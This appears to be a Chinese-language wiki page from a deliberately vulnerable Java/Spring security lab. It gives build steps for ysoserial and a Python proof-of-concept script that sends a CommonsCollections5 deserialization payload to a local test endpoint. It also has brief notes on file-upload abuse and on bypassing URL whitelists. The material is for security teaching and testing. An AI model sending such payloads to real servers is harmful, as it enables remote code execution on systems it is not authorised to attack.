-
Notifications
You must be signed in to change notification settings - Fork 654
Others
JoyChou edited this page Oct 19, 2018
·
1 revision
针对SSRF具体利用,可以阅读我写的这篇博文。
打包ysoserial
git clone https://github.com/frohoff/ysoserial.git
mvn clean package -DskipTests
执行exp
#coding: utf-8
#author: JoyChou
#date: 2018.07.17
import requests
import subprocess
def poc(url , gadget, command):
ys_filepath = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
popen = subprocess.Popen(['java', '-jar', ys_filepath, gadget, command], stdout=subprocess.PIPE)
payload = popen.stdout.read()
r = requests.post(url, data=payload, timeout=5)
if __name__ == '__main__':
poc('http://127.0.0.1:8080/deserialize/test', 'CommonsCollections5', 'open -a Calculator')
目前这类漏洞在spring里非常少,原因有两点:
- 大多数公司上传的文件都会到cdn
- spring的jsp文件必须在web-inf目录下才能执行
除非,可以上传war包到tomcat的webapps目录。所以就不YY写漏洞了。
访问http://localhost:8080/file/
进行文件上传,上传成功后,再访问http://localhost:8080/image/上传的文件名
可访问上传后的文件。
可查看我写的文章URL whitelist Bypass
其实很多实际场景,某些开发者并不会获取根域,而是利用URL类的u.getHost()
方法获取整个域名,再拿去做白名单比较。这种情况的代码利用原理一样,大家可根据逻辑自行绕过。